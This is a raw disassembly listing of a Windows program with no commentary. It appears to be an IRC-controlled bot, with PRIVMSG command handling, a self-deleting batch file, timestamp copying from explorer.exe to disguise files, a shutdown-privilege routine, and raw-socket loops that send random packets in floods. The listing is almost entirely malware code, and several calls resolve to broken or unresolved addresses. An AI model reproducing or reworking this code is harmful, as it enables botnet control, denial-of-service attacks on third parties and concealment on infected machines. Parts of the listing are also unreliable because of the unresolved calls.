		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_419101
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AA23

loc_40A9D3:				; CODE XREF: sub_40A96F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A951
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A9F4
		mov	eax, ecx

loc_40A9F4:				; CODE XREF: sub_40A96F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40AA27
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_419101
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40A9D3

loc_40AA23:				; CODE XREF: sub_40A96F+62j
		dec	edi
		dec	esi
		jmp	short loc_40A9AD
; ---------------------------------------------------------------------------

loc_40AA27:				; CODE XREF: sub_40A96F+8Aj
		xor	eax, eax
		jmp	short loc_40AA30
; ---------------------------------------------------------------------------

loc_40AA2B:				; CODE XREF: sub_40A96F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_40AA30:				; CODE XREF: sub_40A96F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A96F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA35	proc near		; CODE XREF: sub_40EE72+3C8Cp
					; sub_40EE72+4AF5p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2660AEBh
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_100]

loc_40AA6E:				; CODE XREF: sub_40AA35+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40AA7A
		cmp	cl, 9
		jnz	short loc_40AA7D

loc_40AA7A:				; CODE XREF: sub_40AA35+3Ej
		inc	eax
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------

loc_40AA7D:				; CODE XREF: sub_40AA35+43j
					; sub_40AA35+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40AA97
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40AA7D
		cmp	cl, 21h
		jl	short loc_40AA7D

loc_40AA97:				; CODE XREF: sub_40AA35+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43AEC8
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA35	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AABF	proc near		; CODE XREF: sub_40EE72+5732p
		push	esi
		push	0
		call	dword_43AD68
		test	eax, eax
		jz	short loc_40AAF6
		push	1
		call	dword_43AD88
		mov	esi, eax
		test	esi, esi
		jz	short loc_40AAF6
		push	edi
		push	esi
		call	near ptr 2750542h
		nop
		push	esi
		mov	edi, eax
		call	near ptr 2750000h
		nop
		call	dword_43ADEC
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40AAF6:				; CODE XREF: sub_40AABF+Bj
					; sub_40AABF+19j
		xor	eax, eax
		pop	esi
		retn
sub_40AABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_40EE72+48BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43ADA4
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40AB76
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2760000h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 25B0000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43ADF4
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43ADF4
		push	ebx
		call	near ptr 2750A94h
		nop
		push	edi
		call	near ptr 2640811h
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40AB78
; ---------------------------------------------------------------------------

loc_40AB76:				; CODE XREF: sub_40AAFA+16j
		xor	eax, eax

loc_40AB78:				; CODE XREF: sub_40AAFA+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB7C	proc near		; CODE XREF: ___:0040E8BBp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43AE54
		test	eax, eax
		jz	short loc_40AC1B
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_424084
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2770000h
		push	ebx
		mov	ebx, dword_424078
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 276064Ah
		push	esi
		call	ebx

loc_40AC1B:				; CODE XREF: sub_40AB7C+2Aj
					; sub_40AB7C+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC20	proc near		; CODE XREF: sub_40EE72+13C4p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43ACE0
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AC20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC42	proc near		; CODE XREF: sub_40CAF1+472p
					; sub_40EE72+59D4p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42F5C0, esi
		push	edi
		jz	short loc_40AC66
		cmp	dword_43AE68, esi
		jnz	short loc_40AC66
		push	esi
		call	sub_40C1AE
		pop	ecx

loc_40AC66:				; CODE XREF: sub_40AC42+13j
					; sub_40AC42+1Bj
		call	sub_416F25
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 2790101h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2660802h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40ADC6
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2650000h
		push	edi
		nop
		call	near ptr 2640811h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_436EDC
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 2730B6Ah
		nop
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_15C]
		push	eax
		call	near ptr 26A02F2h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AD6E
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2790000h

loc_40AD6E:				; CODE XREF: sub_40AC42+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2780000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2770603h

loc_40ADC6:				; CODE XREF: sub_40AC42+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40AC42	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADCA	proc near		; CODE XREF: sub_4013EC+7p
					; sub_401992+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40ADF2
		push	[esp+arg_0]
		call	dword_43AE1C
		test	eax, eax
		jnz	short loc_40ADEB
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40ADEB:				; CODE XREF: sub_40ADCA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40ADF2:				; CODE XREF: sub_40ADCA+Dj
		retn
sub_40ADCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADF3	proc near		; CODE XREF: sub_40EB92+D6p
		mov	ecx, dword_43ACC0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AE01
		call	ecx

locret_40AE01:				; CODE XREF: sub_40ADF3+Aj
		retn
sub_40ADF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE02	proc near		; CODE XREF: sub_40EE72:loc_414556p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43AE14
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AEC8
		sub	ecx, 32h
		jz	loc_40AEC1
		sub	ecx, 48h
		jz	short loc_40AE62
		sub	ecx, 6Eh
		jz	short loc_40AE5B

loc_40AE44:				; CODE XREF: sub_40AE02+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DA5C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40AEA2
; ---------------------------------------------------------------------------

loc_40AE5B:				; CODE XREF: sub_40AE02+40j
		push	offset unk_42DA28
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------

loc_40AE62:				; CODE XREF: sub_40AE02+3Bj
		push	[ebp+var_8]
		call	sub_417B89
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417330
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AE8F
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43AE14
		cmp	eax, edi
		jz	short loc_40AEC8
		jmp	short loc_40AE44
; ---------------------------------------------------------------------------

loc_40AE8F:				; CODE XREF: sub_40AE02+79j
		push	offset unk_42D9E8

loc_40AE94:				; CODE XREF: sub_40AE02+5Ej
					; sub_40AE02+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40AEA2:				; CODE XREF: sub_40AE02+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_40AEB2:				; CODE XREF: sub_40AE02+C8j
					; sub_40AE02+DCj
		push	esi
		call	sub_417C3B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40AEC1:				; CODE XREF: sub_40AE02+32j
		push	offset unk_42D9A8
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------

loc_40AEC8:				; CODE XREF: sub_40AE02+29j
					; sub_40AE02+89j
		cmp	[esi], edi
		jbe	short loc_40AEB2
		lea	ebx, [esi+4]

loc_40AECF:				; CODE XREF: sub_40AE02+DAj
		push	ebx
		call	dword_43AE10
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AECF
		jmp	short loc_40AEB2
sub_40AE02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40144A+243p
					; sub_401D82+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43AD3C
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43B0CC
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4172B0
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF39	proc near		; CODE XREF: sub_4010B5+24Cp
					; sub_4010B5+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AF62
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AF55:				; CODE XREF: sub_40AF39+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AF55
		pop	edi
		jmp	short loc_40AF66
; ---------------------------------------------------------------------------

loc_40AF62:				; CODE XREF: sub_40AF39+Aj
		mov	edx, [esp+4+arg_0]

loc_40AF66:				; CODE XREF: sub_40AF39+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AF70
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AF70:				; CODE XREF: sub_40AF39+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AF39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF86	proc near		; DATA XREF: sub_40EE72+2E51o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_43AD24
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43ADD8
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AFE1
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43AE1C
		cmp	eax, ebx
		jz	short loc_40AFE7

loc_40AFE1:				; CODE XREF: sub_40AF86+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40B044

loc_40AFE7:				; CODE XREF: sub_40AF86+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DAD8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B027
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h

loc_40B027:				; CODE XREF: sub_40AF86+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26101F3h

loc_40B044:				; CODE XREF: sub_40AF86+5Fj
		cmp	eax, ebx
		jz	short loc_40B054
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40B057
; ---------------------------------------------------------------------------

loc_40B054:				; CODE XREF: sub_40AF86+C0j
		mov	[ebp+var_4], esi

loc_40B057:				; CODE XREF: sub_40AF86+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417330
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40B077
		mov	[ebp+var_3C], eax

loc_40B077:				; CODE XREF: sub_40AF86+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40B07F
		mov	[ebp+var_38], edi

loc_40B07F:				; CODE XREF: sub_40AF86+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40B0AC

loc_40B086:				; CODE XREF: sub_40AF86+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43ACBC
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40B086

loc_40B0AC:				; CODE XREF: sub_40AF86+FEj
		push	[ebp+arg_0]
		call	dword_43AE50
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DA9C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B0F5
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h

loc_40B0F5:				; CODE XREF: sub_40AF86+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26101F3h
sub_40AF86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B112	proc near		; DATA XREF: sub_40EE72+2FA9o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	near ptr 2610602h
		nop
		push	eax
		call	sub_417302
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43AE18
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B1F7
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43AE1C
		cmp	eax, edi
		jnz	short loc_40B1F0
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB4C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B1D3
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h

loc_40B1D3:				; CODE XREF: sub_40B112+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26101F3h

loc_40B1F0:				; CODE XREF: sub_40B112+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B1FA
; ---------------------------------------------------------------------------

loc_40B1F7:				; CODE XREF: sub_40B112+6Ej
		lea	eax, [ebp+arg_0]

loc_40B1FA:				; CODE XREF: sub_40B112+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B215
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B218
; ---------------------------------------------------------------------------

loc_40B215:				; CODE XREF: sub_40B112+F0j
		push	[ebp+var_24]

loc_40B218:				; CODE XREF: sub_40B112+101j
		call	dword_43AD98
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B22A
		mov	[ebp+var_24], esi

loc_40B22A:				; CODE XREF: sub_40B112+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B237
		mov	[ebp+var_24], eax

loc_40B237:				; CODE XREF: sub_40B112+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B24B
		mov	[ebp+var_28], esi

loc_40B24B:				; CODE XREF: sub_40B112+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B26C

loc_40B252:				; CODE XREF: sub_40B112+158j
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40B252

loc_40B26C:				; CODE XREF: sub_40B112+13Ej
					; sub_40B112+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40B2CB
		push	0Bh
		pop	esi

loc_40B279:				; CODE XREF: sub_40B112+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43ADFC
		push	[ebp+var_28]
		call	near ptr 2610E42h
		nop
		dec	esi
		jnz	short loc_40B279
		cmp	[ebp+var_24], edi
		jnz	short loc_40B26C
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43AD98
		mov	[ebp+var_E], ax
		jmp	short loc_40B26C
; ---------------------------------------------------------------------------

loc_40B2CB:				; CODE XREF: sub_40B112+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB10
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B30B
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h

loc_40B30B:				; CODE XREF: sub_40B112+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26101F3h
sub_40B112	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B328	proc near		; CODE XREF: sub_40B358+2Ap
					; sub_40B390+7Ep ...
		mov	eax, dword_43B0E4
		push	esi
		mov	esi, dword_424078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B33C
		push	eax
		call	esi

loc_40B33C:				; CODE XREF: sub_40B328+Fj
		mov	eax, dword_43B0EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B349
		push	eax
		call	esi

loc_40B349:				; CODE XREF: sub_40B328+1Cj
		mov	eax, dword_43B0E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B356
		push	eax
		call	esi

loc_40B356:				; CODE XREF: sub_40B328+29j
		pop	esi
		retn
sub_40B328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B358	proc near		; CODE XREF: sub_40C351+14Ap
					; sub_40EE72+4881p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43B0E8
		call	near ptr 2650000h
		nop
		test	eax, eax
		jnz	short loc_40B38B
		call	sub_40B328
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40B38B:				; CODE XREF: sub_40B358+28j
		push	1
		pop	eax
		leave
		retn
sub_40B358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B390	proc near		; CODE XREF: sub_40B417+D3p
					; sub_40B417+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_436EDC
		push	[ebp+arg_4]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3D3
		push	7D0h
		nop
		call	near ptr 2610E42h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40B3EA
; ---------------------------------------------------------------------------

loc_40B3D3:				; CODE XREF: sub_40B390+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_40B3EA:				; CODE XREF: sub_40B390+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
